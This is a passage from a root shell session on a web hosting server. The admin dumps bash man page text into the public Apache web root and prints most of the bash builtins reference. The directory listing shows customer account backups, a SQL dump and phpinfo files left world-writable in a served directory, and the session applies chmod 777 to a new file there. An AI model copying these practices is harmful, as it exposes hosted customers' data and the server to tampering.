( command ) inherit the DEBUG and RETURN traps.
6. Error tracing is enabled: command substitution,
shell functions, and subshells invoked with (
command ) inherit the ERROR trap.
extglob If set, the extended pattern matching features described
above under Pathname Expansion are enabled.
extquote
If set, $'string' and $"string" quoting is performed
within ${parameter} expansions enclosed in double
quotes. This option is enabled by default.
failglob
If set, patterns which fail to match filenames during
pathname expansion result in an expansion error.
force_fignore
If set, the suffixes specified by the FIGNORE shell
variable cause words to be ignored when performing word
completion even if the ignored words are the only possi-
ble completions. See SHELL VARIABLES above for a
description of FIGNORE. This option is enabled by
default.
gnu_errfmt
If set, shell error messages are written in the standard
GNU error message format.
histappend
If set, the history list is appended to the file named
by the value of the HISTFILE variable when the shell
exits, rather than overwriting the file.
histreedit
If set, and readline is being used, a user is given the
opportunity to re-edit a failed history substitution.
histverify
If set, and readline is being used, the results of his-
tory substitution are not immediately passed to the
shell parser. Instead, the resulting line is loaded
into the readline editing buffer, allowing further modi-
fication.
hostcomplete
If set, and readline is being used, bash will attempt to
perform hostname completion when a word containing a @
is being completed (see Completing under READLINE
above). This is enabled by default.
huponexit
If set, bash will send SIGHUP to all jobs when an inter-
active login shell exits.
interactive_comments
If set, allow a word beginning with # to cause that word
and all remaining characters on that line to be ignored
in an interactive shell (see COMMENTS above). This
option is enabled by default.
lithist If set, and the cmdhist option is enabled, multi-line
commands are saved to the history with embedded newlines
rather than using semicolon separators where possible.
login_shell
The shell sets this option if it is started as a login
shell (see INVOCATION above). The value may not be
changed.
mailwarn
If set, and a file that bash is checking for mail has
been accessed since the last time it was checked, the
message ââThe mail in mailfile has been readââ is dis-
played.
no_empty_cmd_completion
If set, and readline is being used, bash will not
attempt to search the PATH for possible completions when
completion is attempted on an empty line.
nocaseglob
If set, bash matches filenames in a case-insensitive
fashion when performing pathname expansion (see Pathname
Expansion above).
nocasematch
If set, bash matches patterns in a case-insensitive
fashion when performing matching while executing case or
[[ conditional commands.
nullglob
If set, bash allows patterns which match no files (see
Pathname Expansion above) to expand to a null string,
rather than themselves.
progcomp
If set, the programm
root@click [~]# man history > /usr/local/apache/htdocs/history_man_output.txt
root@click [~]# chmod 777 /usr/local/apache/htdocs/history_man_output.txt
root@click [~]# hostname
click.site.com
root@click [~]# cd /usr/local/apache/htdocs/
root@click [/usr/local/apache/htdocs]# ll
total 2804656
drwxr-xr-x 5 root root 4096 Dec 16 09:46 ./
drwxr-xr-x 16 root root 4096 Nov 29 15:32 ../
-rw-r--r-- 1 root root 196 Apr 7 2010 400.shtml
-rw-r--r-- 1 root root 174 Apr 7 2010 401.shtml
-rw-r--r-- 1 root root 170 Apr 7 2010 403.shtml
-rw-r--r-- 1 root root 171 Apr 7 2010 404.shtml
-rw-r--r-- 1 root root 210 Apr 7 2010 500.shtml
-rw------- 1 root root 3983681 Apr 7 2010 backup-2.25.2010_20-00-07_golddust.tar.gz
-rwxrwxrwx 1 root root 380580983 Apr 7 2010 backup-6.18.2009_23-04-14_takorabt.tar.gz*
-rwxrwxrwx 1 root root 4158 Nov 29 16:32 check_exim*
-rw-r--r-- 1 root root 2250 Apr 7 2010 cp_errordocument.shtml
-rwxrwxrwx 1 root root 105995719 Apr 7 2010 cpmove-bojoecom.tar.gz*
-rwxrwxrwx 1 root root 20188756 Sep 17 02:38 cpmove-brmconsu.tar.gz*
-rwxrwxrwx 1 root root 98951979 Oct 14 09:45 cpmove-conceptp.tar.gz*
-rwxrwxrwx 1 root root 261936456 Apr 7 2010 cpmove-cosmeti3.tar.gz*
-rwxrwxrwx 1 root root 47049368 Dec 11 22:27 cpmove-emodecom.tar.gz*
-rwxrwxrwx 1 root root 91780370 Oct 27 18:39 cpmove-giaorgau.tar.gz*
-rwxrwxrwx 1 root root 565217939 Oct 23 22:14 cpmove-gustavoh.tar.gz*
-rwxrwxrwx 1 root root 67074 Sep 21 23:01 cpmove-perucell.tar.gz*
-rwxr-xr-x 1 root root 836551159 Apr 7 2010 cpmove-theisoft.tar.gz*
drwxr-xr-x 3 root root 4096 Apr 7 2010 ea3_apache_build_htdocs/
-rwxrwxrwx 1 root root 120521 Apr 7 2010 getuggco_boutique.sql*
-rwxrwxrwx 1 root root 102167 Dec 16 09:46 history_man_output.txt*
-rw-r--r-- 1 root root 111 Apr 7 2010 index.html
-rw-r--r-- 1 root root 3477 Apr 7 2010 index_original.html
-rwxrwxrwx 1 root root 456164371 Apr 7 2010 kjca.tar*
-rwxrwxrwx 1 root root 295330 Apr 7 2010 mysql.tar.gz*
-rwxr-xr-x 1 root root 19 Apr 7 2010 phpinfo.php*
-rwxr-xr-x 1 root root 19 Apr 7 2010 _rvphpinfo.php*
-rw-r--r-- 1 root root 29 Apr 7 2010 serverstats_inc.php
drwxr-xr-x 2 root root 4096 Apr 7 2010 suspended.page/
d--------- 2 root root 4096 Apr 7 2010 test/
root@click [/usr/local/apache/htdocs]# du -sh history_man_output.txt*
104K history_man_output.txt
root@click [/usr/local/apache/htdocs]# cp history_man_output.txt*
cp: missing destination file operand after `history_man_output.txt'
Try `cp --help' for more information.
root@click [/usr/local/apache/htdocs]# cp history_man_output.txt history_man_output.txt*
cp: `history_man_output.txt' and `history_man_output.txt' are the same file
root@click [/usr/local/apache/htdocs]# cp history_man_output.txt history_man_output.html
root@click [/usr/local/apache/htdocs]# cat history_man_output.txt
BASH_BUILTINS(1) BASH_BUILTINS(1)
NAME
bash, :, ., [, alias, bg, bind, break, builtin, cd, command, compgen,
complete, continue, declare, dirs, disown, echo, enable, eval, exec,
exit, export, fc, fg, getopts, hash, help, history, jobs, kill, let,
local, logout, popd, printf, pushd, pwd, read, readonly, return, set,
shift, shopt, source, suspend, test, times, trap, type, typeset,
ulimit, umask, unalias, unset, wait - bash built-in commands, see
bash(1)
BASH BUILTIN COMMANDS
Unless otherwise noted, each builtin command documented in this section
as accepting options preceded by - accepts -- to signify the end of the
options. For example, the :, true, false, and test builtins do not
accept options. Also, please note that while executing in non-interac-
tive mode and while in posix mode, any special builtin (like ., :,
break, continue, eval, exec, exit, export, readonly, return, set,
shift, source, times, trap, unset) exiting with a non-zero status
causes the shell to stop execution.
: [arguments]
No effect; the command does nothing beyond expanding arguments
and performing any specified redirections. A zero exit code is
returned.
. filename [arguments]
source filename [arguments]
Read and execute commands from filename in the current shell
environment and return the exit status of the last command exe-
cuted from filename. If filename does not contain a slash, file
names in PATH are used to find the directory containing file-
name. The file searched for in PATH need not be executable.
When bash is not in posix mode, the current directory is
searched if no file is found in PATH. If the sourcepath option
to the shopt builtin command is turned off, the PATH is not
searched. If any arguments are supplied, they become the posi-
tional parameters when filename is executed. Otherwise the
positional parameters are unchanged. The return status is the
status of the last command exited within the script (0 if no
commands are executed), and false if filename is not found or
cannot be read.
alias [-p] [name[=value] ...]
Alias with no arguments or with the -p option prints the list of
aliases in the form alias name=value on standard output. When
arguments are supplied, an alias is defined for each name whose
value is given. A trailing space in value causes the next word
to be checked for alias substitution when the alias is expanded.
For each name in the argument list for which no value is sup-
plied, the name and value of the alias is printed. Alias
returns true unless a name is given for which no alias has been
defined.
Note aliases are not expanded by default in non-interactive
shell, and it can be enabled by setting the expand_aliases shell
option using shopt.
bg [jobspec ...]
Resume each suspended job jobspec in the background, as if it
had been started with &. If jobspec is not present, the shellâs
notion of the current job is used. bg jobspec returns 0 unless
run when job control is disabled or, when run with job control
enabled, any specified jobspec was not found or was started
without job control.
bind [-m keymap] [-lpsvPSV]
bind [-m keymap] [-q function] [-u function] [-r keyseq]
bind [-m keymap] -f filename
bind [-m keymap] -x keyseq:shell-command
bind [-m keymap] keyseq:function-name
bind readline-command
Display current readline key and function bindings, bind a key
sequence to a readline function or macro, or set a readline
variable. Each non-option argument is a command as it would
appear in .inputrc, but each binding or command must be passed
as a separate argument; e.g., â"\C-x\C-r": re-read-init-fileâ.
Options, if supplied, have the following meanings:
-m keymap
Use keymap as the keymap to be affected by the subsequent
bindings. Acceptable keymap names are emacs, emacs-stan-
dard, emacs-meta, emacs-ctlx, vi, vi-move, vi-command,
and vi-insert. vi is equivalent to vi-command; emacs is
equivalent to emacs-standard.
-l List the names of all readline functions.
-p Display readline function names and bindings in such a
way that they can be re-read.
-P List current readline function names and bindings.
-v Display readline variable names and values in such a way
that they can be re-read.
-V List current readline variable names and values.
-s Display readline key sequences bound to macros and the
strings they output in such a way that they can be re-
read.
-S Display readline key sequences bound to macros and the
strings they output.
-f filename
Read key bindings from filename.
-q function
Query about which keys invoke the named function.
-u function
Unbind all keys bound to the named function.
-r keyseq
Remove any current binding for keyseq.
-x keyseq:shell-command
Cause shell-command to be executed whenever keyseq is
entered.
The return value is 0 unless an unrecognized option is given or
an error occurred.
break [n]
Exit from within a for, while, until, or select loop. If n is
specified, break n levels. n must be ⥠1. If n is greater than
the number of enclosing loops, all enclosing loops are exited.
The return value is non-zero when n is ⤠0; Otherwise, break
returns 0 value.
builtin shell-builtin [arguments]
Execute the specified shell builtin, passing it arguments, and
return its exit status. This is useful when defining a function
whose name is the same as a shell builtin, retaining the func-
tionality of the builtin within the function. The cd builtin is
commonly redefined this way. The return status is false if
shell-builtin is not a shell builtin command.
cd [-L|-P] [dir]
Change the current directory to dir. The variable HOME is the
default dir. The variable CDPATH defines the search path for
the directory containing dir. Alternative directory names in
CDPATH are separated by a colon (:). A null directory name in
CDPATH is the same as the current directory, i.e., ââ.ââ. If
dir begins with a slash (/), then CDPATH is not used. The -P
option says to use the physical directory structure instead of
following symbolic links (see also the -P option to the set
builtin command); the -L option forces symbolic links to be fol-
lowed. An argument of - is equivalent to $OLDPWD. If a non-
empty directory name from CDPATH is used, or if - is the first
argument, and the directory change is successful, the absolute
pathname of the new working directory is written to the standard
output. The return value is true if the directory was success-
fully changed; false otherwise.
caller [expr]
Returns the context of any active subroutine call (a shell func-
tion or a script executed with the . or source builtins. With-
out expr, caller displays the line number and source filename of
the current subroutine call. If a non-negative integer is sup-
plied as expr, caller displays the line number, subroutine name,
and source file corresponding to that position in the current
execution call stack. This extra information may be used, for
example, to print a stack trace. The current frame is frame 0.
The return value is 0 unless the shell is not executing a sub-
routine call or expr does not correspond to a valid position in
the call stack.
command [-pVv] command [arg ...]
Run command with args suppressing the normal shell function
lookup. Only builtin commands or commands found in the PATH are
executed. If the -p option is given, the search for command is
performed using a default value for PATH that is guaranteed to
find all of the standard utilities. If either the -V or -v
option is supplied, a description of command is printed. The -v
option causes a single word indicating the command or file name
used to invoke command to be displayed; the -V option produces a
more verbose description. If the -V or -v option is supplied,
the exit status is 0 if command was found, and 1 if not. If
neither option is supplied and an error occurred or command can-
not be found, the exit status is 127. Otherwise, the exit sta-
tus of the command builtin is the exit status of command.
compgen [option] [word]
Generate possible completion matches for word according to the
options, which may be any option accepted by the complete
builtin with the exception of -p and -r, and write the matches
to the standard output. When using the -F or -C options, the
various shell variables set by the programmable completion
facilities, while available, will not have useful values.
The matches will be generated in the same way as if the pro-
grammable completion code had generated them directly from a
completion specification with the same flags. If word is speci-
fied, only those completions matching word will be displayed.
The return value is true unless an invalid option is supplied,
or no matches were generated.
complete [-abcdefgjksuv] [-o comp-option] [-A action] [-G globpat] [-W
wordlist] [-P prefix] [-S suffix]
[-X filterpat] [-F function] [-C command] name [name ...]
complete -pr [name ...]
Specify how arguments to each name should be completed. If the
-p option is supplied, or if no options are supplied, existing
completion specifications are printed in a way that allows them
to be reused as input. The -r option removes a completion spec-
ification for each name, or, if no names are supplied, all com-
pletion specifications.
The process of applying these completion specifications when
word completion is attempted is described above under Pro-
grammable Completion.
Other options, if specified, have the following meanings. The
arguments to the -G, -W, and -X options (and, if necessary, the
-P and -S options) should be quoted to protect them from expan-
sion before the complete builtin is invoked.
-o comp-option
The comp-option controls several aspects of the comp-
specâs behavior beyond the simple generation of comple-
tions. comp-option may be one of:
bashdefault
Perform the rest of the default bash completions
if the compspec generates no matches.
default Use readlineâs default filename completion if
the compspec generates no matches.
dirnames
Perform directory name completion if the comp-
spec generates no matches.
filenames
Tell readline that the compspec generates file-
names, so it can perform any filename-specific
processing (like adding a slash to directory
names or suppressing trailing spaces). Intended
to be used with shell functions.
nospace Tell readline not to append a space (the
default) to words completed at the end of the
line.
plusdirs
After any matches defined by the compspec are
generated, directory name completion is
attempted and any matches are added to the
results of the other actions.
-A action
The action may be one of the following to generate a
list of possible completions:
alias Alias names. May also be specified as -a.
arrayvar
Array variable names.
binding Readline key binding names.
builtin Names of shell builtin commands. May also be
specified as -b.
command Command names. May also be specified as -c.
directory
Directory names. May also be specified as -d.
disabled
Names of disabled shell builtins.
enabled Names of enabled shell builtins.
export Names of exported shell variables. May also be
specified as -e.
file File names. May also be specified as -f.
function
Names of shell functions.
group Group names. May also be specified as -g.
helptopic
Help topics as accepted by the help builtin.
hostname
Hostnames, as taken from the file specified by
the HOSTFILE shell variable.
job Job names, if job control is active. May also
be specified as -j.
keyword Shell reserved words. May also be specified as
-k.
running Names of running jobs, if job control is active.
service Service names. May also be specified as -s.
setopt Valid arguments for the -o option to the set
builtin.
shopt Shell option names as accepted by the shopt
builtin.
signal Signal names.
stopped Names of stopped jobs, if job control is active.
user User names. May also be specified as -u.
variable
Names of all shell variables. May also be spec-
ified as -v.
-G globpat
The filename expansion pattern globpat is expanded to
generate the possible completions.
-W wordlist
The wordlist is split using the characters in the IFS
special variable as delimiters, and each resultant word
is expanded. The possible completions are the members
of the resultant list which match the word being com-
pleted.
-C command
command is executed in a subshell environment, and its
output is used as the possible completions.
-F function
The shell function function is executed in the current
shell environment. When it finishes, the possible com-
pletions are retrieved from the value of the COMPREPLY
array variable.
-X filterpat
filterpat is a pattern as used for filename expansion.
It is applied to the list of possible completions gener-
ated by the preceding options and arguments, and each
completion matching filterpat is removed from the list.
A leading ! in filterpat negates the pattern; in this
case, any completion not matching filterpat is removed.
-P prefix
prefix is added at the beginning of each possible com-
pletion after all other options have been applied.
-S suffix
suffix is appended to each possible completion after all
other options have been applied.
The return value is true unless an invalid option is supplied,
an option other than -p or -r is supplied without a name argu-
ment, an attempt is made to remove a completion specification
for a name for which no specification exists, or an error occurs
adding a completion specification.
continue [n]
Resume the next iteration of the enclosing for, while, until, or
select loop. If n is specified, resume at the nth enclosing
loop. n must be ⥠1. If n is greater than the number of
enclosing loops, the last enclosing loop (the ââtop-levelââ
loop) is resumed. When continue is executed inside of loop, the
return value is non-zero when n is ⤠0; Otherwise, continue
returns 0 value. When continue is executed outside of loop, the
return value is 0.
declare [-afFirtx] [-p] [name[=value] ...]
typeset [-afFirtx] [-p] [name[=value] ...]
Declare variables and/or give them attributes. If no names are
given then display the values of variables. The -p option will
display the attributes and values of each name. When -p is
used, additional options are ignored. The -F option inhibits
the display of function definitions; only the function name and
attributes are printed. If the extdebug shell option is enabled
using shopt, the source file name and line number where the
function is defined are displayed as well. The -F option
implies -f. The following options can be used to restrict out-
put to variables with the specified attribute or to give vari-
ables attributes:
-a Each name is an array variable (see Arrays above).
-f Use function names only.
-i The variable is treated as an integer; arithmetic evalua-
tion (see ARITHMETIC EVALUATION ) is performed when the
variable is assigned a value.
-r Make names readonly. These names cannot then be assigned
values by subsequent assignment statements or unset.
-t Give each name the trace attribute. Traced functions
inherit the DEBUG and RETURN traps from the calling
shell. The trace attribute has no special meaning for
variables.
-x Mark names for export to subsequent commands via the
environment.
Using â+â instead of â-â turns off the attribute instead, with
the exception that +a may not be used to destroy an array vari-
able. When used in a function, makes each name local, as with
the local command. If a variable name is followed by =value,
the value of the variable is set to value. The return value is
0 unless an invalid option is encountered, an attempt is made to
define a function using ââ-f foo=barââ, an attempt is made to
assign a value to a readonly variable, an attempt is made to
assign a value to an array variable without using the compound
assignment syntax (see Arrays above), one of the names is not a
valid shell variable name, an attempt is made to turn off read-
only status for a readonly variable, an attempt is made to turn
off array status for an array variable, or an attempt is made to
display a non-existent function with -f.
dirs [-clpv] [+n] [-n]
Without options, displays the list of currently remembered
directories. The default display is on a single line with
directory names separated by spaces. Directories are added to
the list with the pushd command; the popd command removes
entries from the list.
+n Displays the nth entry counting from the left of the list
shown by dirs when invoked without options, starting with
zero.
-n Displays the nth entry counting from the right of the
list shown by dirs when invoked without options, starting
with zero.
-c Clears the directory stack by deleting all of the
entries.
-l Produces a longer listing; the default listing format
uses a tilde to denote the home directory.
-p Print the directory stack with one entry per line.
-v Print the directory stack with one entry per line, pre-
fixing each entry with its index in the stack.
The return value is 0 unless an invalid option is supplied or n
indexes beyond the end of the directory stack.
disown [-ar] [-h] [jobspec ...]
Without options, each jobspec is removed from the table of
active jobs. If the -h option is given, each jobspec is not
removed from the table, but is marked so that SIGHUP is not sent
to the job if the shell receives a SIGHUP. If no jobspec is
present, and neither the -a nor the -r option is supplied, the
current job is used. If no jobspec is supplied, the -a option
means to remove or mark all jobs; the -r option without a job-
spec argument restricts operation to running jobs. The return
value is 0 unless a jobspec does not specify a valid job.
echo [-neE] [arg ...]
Output the args, separated by spaces, followed by a newline.
The return status is always 0. If -n is specified, the trailing
newline is suppressed. If the -e option is given, interpreta-
tion of the following backslash-escaped characters is enabled.
The -E option disables the interpretation of these escape char-
acters, even on systems where they are interpreted by default.
The xpg_echo shell option may be used to dynamically determine
whether or not echo expands these escape characters by default.
echo does not interpret -- to mean the end of options. echo
interprets the following escape sequences:
\a alert (bell)
\b backspace
\c suppress trailing newline
\e an escape character
\f form feed
\n new line
\r carriage return
\t horizontal tab
\v vertical tab
\\ backslash
nnn the eight-bit character whose value is the octal value
nnn (zero to three octal digits)
\xHH the eight-bit character whose value is the hexadecimal
value HH (one or two hex digits)
enable [-adnps] [-f filename] [name ...]
Enable and disable builtin shell commands. Disabling a builtin
allows a disk command which has the same name as a shell builtin
to be executed without specifying a full pathname, even though
the shell normally searches for builtins before disk commands.
If -n is used, each name is disabled; otherwise, names are
enabled. For example, to use the test binary found via the PATH
instead of the shell builtin version, run ââenable -n testââ.
The -f option means to load the new builtin command name from
shared object filename, on systems that support dynamic loading.
The -d option will delete a builtin previously loaded with -f.
If no name arguments are given, or if the -p option is supplied,
a list of shell builtins is printed. With no other option argu-
ments, the list consists of all enabled shell builtins. If -n
is supplied, only disabled builtins are printed. If -a is sup-
plied, the list printed includes all builtins, with an indica-
tion of whether or not each is enabled. If -s is supplied, the
output is restricted to the POSIX special builtins. The return
value is 0 unless a name is not a shell builtin or there is an
error loading a new builtin from a shared object.
eval [arg ...]
The args are read and concatenated together into a single com-
mand. This command is then read and executed by the shell, and
its exit status is returned as the value of eval. If there are
no args, or only null arguments, eval returns 0.
exec [-cl] [-a name] [command [arguments]]
If command is specified, it replaces the shell. No new process
is created. The arguments become the arguments to command. If
the -l option is supplied, the shell places a dash at the begin-
ning of the zeroth arg passed to command. This is what login(1)
does. The -c option causes command to be executed with an empty
environment. If -a is supplied, the shell passes name as the
zeroth argument to the executed command. If command cannot be
executed for some reason, a non-interactive shell exits, unless
the shell option execfail is enabled, in which case it returns
failure. An interactive shell returns failure if the file can-
not be executed. If command is not specified, any redirections
take effect in the current shell, and the return status is 0.
If there is a redirection error, the return status is 1.
exit [n]
Cause the shell to exit with a status of n. If n is omitted,
the exit status is that of the last command executed. A trap on
EXIT is executed before the shell terminates.
export [-fn] [name[=word]] ...
export -p
The supplied names are marked for automatic export to the envi-
ronment of subsequently executed commands. If the -f option is
given, the names refer to functions. If no names are given, or
if the -p option is supplied, a list of all names that are
exported in this shell is printed. The -n option causes the
export property to be removed from each name. If a variable
name is followed by =word, the value of the variable is set to
word. export returns an exit status of 0 unless an invalid
option is encountered, one of the names is not a valid shell
variable name, or -f is supplied with a name that is not a func-
tion.
fc [-e ename] [-nlr] [first] [last]
fc -s [pat=rep] [cmd]
Fix Command. In the first form, a range of commands from first
to last is selected from the history list. First and last may
be specified as a string (to locate the last command beginning
with that string) or as a number (an index into the history
list, where a negative number is used as an offset from the cur-
rent command number). If last is not specified it is set to the
current command for listing (so that ââfc -l -10ââ prints the
last 10 commands) and to first otherwise. If first is not spec-
ified it is set to the previous command for editing and -16 for
listing.
The -n option suppresses the command numbers when listing. The
-r option reverses the order of the commands. If the -l option
is given, the commands are listed on standard output. Other-
wise, the editor given by ename is invoked on a file containing
those commands. If ename is not given, the value of the FCEDIT
variable is used, and the value of EDITOR if FCEDIT is not set.
If neither variable is set, is used. When editing is complete,
the edited commands are echoed and executed.
In the second form, command is re-executed after each instance
of pat is replaced by rep. A useful alias to use with this is
ââr="fc -s"ââ, so that typing ââr ccââ runs the last command
beginning with ââccââ and typing âârââ re-executes the last com-
mand.
If the first form is used, the return value is 0 unless an
invalid option is encountered or first or last specify history
lines out of range. If the -e option is supplied, the return
value is the value of the last command executed or failure if an
error occurs with the temporary file of commands. If the second
form is used, the return status is that of the command re-exe-
cuted, unless cmd does not specify a valid history line, in
which case fc returns failure.
fg [jobspec]
Resume jobspec in the foreground, and make it the current job.
If jobspec is not present, the shellâs notion of the current job
is used. The return value is that of the command placed into
the foreground, or failure if run when job control is disabled
or, when run with job control enabled, if jobspec does not spec-
ify a valid job or jobspec specifies a job that was started
without job control.
getopts optstring name [args]
getopts is used by shell procedures to parse positional parame-
ters. optstring contains the option characters to be recog-
nized; if a character is followed by a colon, the option is
expected to have an argument, which should be separated from it
by white space. The colon and question mark characters may not
be used as option characters. Each time it is invoked, getopts
places the next option in the shell variable name, initializing
name if it does not exist, and the index of the next argument to
be processed into the variable OPTIND. OPTIND is initialized to
1 each time the shell or a shell script is invoked. When an
option requires an argument, getopts places that argument into
the variable OPTARG. The shell does not reset OPTIND automati-
cally; it must be manually reset between multiple calls to
getopts within the same shell invocation if a new set of parame-
ters is to be used.
When the end of options is encountered, getopts exits with a
return value greater than zero. OPTIND is set to the index of
the first non-option argument, and name is set to ?.
getopts normally parses the positional parameters, but if more
arguments are given in args, getopts parses those instead.
getopts can report errors in two ways. If the first character
of optstring is a colon, silent error reporting is used. In
normal operation diagnostic messages are printed when invalid
options or missing option arguments are encountered. If the
variable OPTERR is set to 0, no error messages will be dis-
played, even if the first character of optstring is not a colon.
If an invalid option is seen, getopts places ? into name and, if
not silent, prints an error message and unsets OPTARG. If
getopts is silent, the option character found is placed in
OPTARG and no diagnostic message is printed.
If a required argument is not found, and getopts is not silent,
a question mark (?) is placed in name, OPTARG is unset, and a
diagnostic message is printed. If getopts is silent, then a
colon (:) is placed in name and OPTARG is set to the option
character found.
getopts returns true if an option, specified or unspecified, is
found. It returns false if the end of options is encountered or
an error occurs.
hash [-lr] [-p filename] [-dt] [name]
For each name, the full file name of the command is determined
by searching the directories in $PATH and remembered. If the -p
option is supplied, no path search is performed, and filename is
used as the full file name of the command. The -r option causes
the shell to forget all remembered locations. The -d option
causes the shell to forget the remembered location of each name.
If the -t option is supplied, the full pathname to which each
name corresponds is printed. If multiple name arguments are
supplied with -t, the name is printed before the hashed full
pathname. The -l option causes output to be displayed in a for-
mat that may be reused as input. If no arguments are given, or
if only -l is supplied, information about remembered commands is
printed. The return status is true unless a name is not found
or an invalid option is supplied.
help [-s] [pattern]
Display helpful information about builtin commands. If pattern
is specified, help gives detailed help on all commands matching
pattern; otherwise help for all the builtins and shell control
structures is printed. The -s option restricts the information
displayed to a short usage synopsis. The return status is 0
unless no command matches pattern.
history [n]
history -c
history -d offset
history -anrw [filename]
history -p arg [arg ...]
history -s arg [arg ...]
With no options, display the command history list with line num-
bers. Lines listed with a * have been modified. An argument of
n lists only the last n lines. If the shell variable HISTTIME-
FORMAT is set and not null, it is used as a format string for
strftime(3) to display the time stamp associated with each dis-
played history entry. No intervening blank is printed between
the formatted time stamp and the history line. If filename is
supplied, it is used as the name of the history file; if not,
the value of HISTFILE is used. Options, if supplied, have the
following meanings:
-c Clear the history list by deleting all the entries.
-d offset
Delete the history entry at position offset.
-a Append the âânewââ history lines (history lines entered
since the beginning of the current bash session) to the
history file.
-n Read the history lines not already read from the history
file into the current history list. These are lines
appended to the history file since the beginning of the
current bash session.
-r Read the contents of the history file and use them as the
current history.
-w Write the current history to the history file, overwrit-
ing the history fileâs contents.
-p Perform history substitution on the following args and
display the result on the standard output. Does not
store the results in the history list. Each arg must be
quoted to disable normal history expansion.
-s Store the args in the history list as a single entry.
The last command in the history list is removed before
the args are added.
If the HISTTIMEFORMAT is set, the time stamp information associ-
ated with each history entry is written to the history file.
The return value is 0 unless an invalid option is encountered,
an error occurs while reading or writing the history file, an
invalid offset is supplied as an argument to -d, or the history
expansion supplied as an argument to -p fails.
jobs [-lnprs] [ jobspec ... ]
jobs -x command [ args ... ]
The first form lists the active jobs. The options have the fol-
lowing meanings:
-l List process IDs in addition to the normal information.
-p List only the process ID of the jobâs process group
leader.
-n Display information only about jobs that have changed
status since the user was last notified of their status.
-r Restrict output to running jobs.
-s Restrict output to stopped jobs.
If jobspec is given, output is restricted to information about
that job. The return status is 0 unless an invalid option is
encountered or an invalid jobspec is supplied.
If the -x option is supplied, jobs replaces any jobspec found in
command or args with the corresponding process group ID, and
executes command passing it args, returning its exit status.
kill [-s sigspec | -n signum | -sigspec] [pid | jobspec] ...
kill -l [sigspec | exit_status]
Send the signal named by sigspec or signum to the processes
named by pid or jobspec. sigspec is either a case-insensitive
signal name such as SIGKILL (with or without the SIG prefix) or
a signal number; signum is a signal number. If sigspec is not
present, then SIGTERM is assumed. An argument of -l lists the
signal names. If any arguments are supplied when -l is given,
the names of the signals corresponding to the arguments are
listed, and the return status is 0. The exit_status argument to
-l is a number specifying either a signal number or the exit
status of a process terminated by a signal. kill returns true
if at least one signal was successfully sent, or false if an
error occurs or an invalid option is encountered.
let arg [arg ...]
Each arg is an arithmetic expression to be evaluated (see ARITH-
METIC EVALUATION). If the last arg evaluates to 0, let returns
1; 0 is returned otherwise.
local [option] [name[=value] ...]
For each argument, a local variable named name is created, and
assigned value. The option can be any of the options accepted
by declare. When local is used within a function, it causes the
variable name to have a visible scope restricted to that func-
tion and its children. With no operands, local writes a list of
local variables to the standard output. It is an error to use
local when not within a function. The return status is 0 unless
local is used outside a function, an invalid name is supplied,
or name is a readonly variable.
logout Exit a login shell.
popd [-n] [+n] [-n]
Removes entries from the directory stack. With no arguments,
removes the top directory from the stack, and performs a cd to
the new top directory. Arguments, if supplied, have the follow-
ing meanings:
+n Removes the nth entry counting from the left of the list
shown by dirs, starting with zero. For example: ââpopd
+0ââ removes the first directory, ââpopd +1ââ the second.
-n Removes the nth entry counting from the right of the list
shown by dirs, starting with zero. For example: ââpopd
-0ââ removes the last directory, ââpopd -1ââ the next to
last.
-n Suppresses the normal change of directory when removing
directories from the stack, so that only the stack is
manipulated.
If the popd command is successful, a dirs is performed as well,
and the return status is 0. popd returns false if an invalid
option is encountered, the directory stack is empty, a non-exis-
tent directory stack entry is specified, or the directory change
fails.
printf [-v var] format [arguments]
Write the formatted arguments to the standard output under the
control of the format. The format is a character string which
contains three types of objects: plain characters, which are
simply copied to standard output, character escape sequences,
which are converted and copied to the standard output, and for-
mat specifications, each of which causes printing of the next
successive argument. In addition to the standard printf(1) for-
mats, %b causes printf to expand backslash escape sequences in
the corresponding argument (except that \c terminates output,
backslashes in \', \", and \? are not removed, and octal escapes
beginning with may contain up to four digits), and %q causes
printf to output the corresponding argument in a format that can
be reused as shell input.
The -v option causes the output to be assigned to the variable
var rather than being printed to the standard output.
The format is reused as necessary to consume all of the argu-
ments. If the format requires more arguments than are supplied,
the extra format specifications behave as if a zero value or
null string, as appropriate, had been supplied. The return
value is zero on success, non-zero on failure.
pushd [-n] [dir]
pushd [-n] [+n] [-n]
Adds a directory to the top of the directory stack, or rotates
the stack, making the new top of the stack the current working
directory. With no arguments, exchanges the top two directories
and returns 0, unless the directory stack is empty. Arguments,
if supplied, have the following meanings:
+n Rotates the stack so that the nth directory (counting
from the left of the list shown by dirs, starting with
zero) is at the top.
-n Rotates the stack so that the nth directory (counting
from the right of the list shown by dirs, starting with
zero) is at the top.
-n Suppresses the normal change of directory when adding
directories to the stack, so that only the stack is
manipulated.
dir Adds dir to the directory stack at the top, making it the
new current working directory.
If the pushd command is successful, a dirs is performed as well.
If the first form is used, pushd returns 0 unless the cd to dir
fails. With the second form, pushd returns 0 unless the direc-
tory stack is empty, a non-existent directory stack element is
specified, or the directory change to the specified new current
directory fails.
pwd [-LP]
Print the absolute pathname of the current working directory.
The pathname printed contains no symbolic links if the -P option
is supplied or the -o physical option to the set builtin command
is enabled. If the -L option is used, the pathname printed may
contain symbolic links. The return status is 0 unless an error
occurs while reading the name of the current directory or an
invalid option is supplied.
read [-ers] [-u fd] [-t timeout] [-a aname] [-p prompt] [-n nchars] [-d
delim] [name ...]
One line is read from the standard input, or from the file
descriptor fd supplied as an argument to the -u option, and the
first word is assigned to the first name, the second word to the
second name, and so on, with leftover words and their interven-
ing separators assigned to the last name. If there are fewer
words read from the input stream than names, the remaining names
are assigned empty values. The characters in IFS are used to
split the line into words. The backslash character (\) may be
used to remove any special meaning for the next character read
and for line continuation. Options, if supplied, have the fol-
lowing meanings:
-a aname
The words are assigned to sequential indices of the array
variable aname, starting at 0. aname is unset before any
new values are assigned. Other name arguments are
ignored.
-d delim
The first character of delim is used to terminate the
input line, rather than newline.
-e If the standard input is coming from a terminal, readline
(see READLINE above) is used to obtain the line.
-n nchars
read returns after reading nchars characters rather than
waiting for a complete line of input.
-p prompt
Display prompt on standard error, without a trailing new-
line, before attempting to read any input. The prompt is
displayed only if input is coming from a terminal.
-r Backslash does not act as an escape character. The back-
slash is considered to be part of the line. In particu-
lar, a backslash-newline pair may not be used as a line
continuation.
-s Silent mode. If input is coming from a terminal, charac-
ters are not echoed.
-t timeout
Cause read to time out and return failure if a complete
line of input is not read within timeout seconds. This
option has no effect if read is not reading input from
the terminal or a pipe.
-u fd Read input from file descriptor fd.
If no names are supplied, the line read is assigned to the vari-
able REPLY. The return code is zero, unless end-of-file is
encountered, read times out, or an invalid file descriptor is
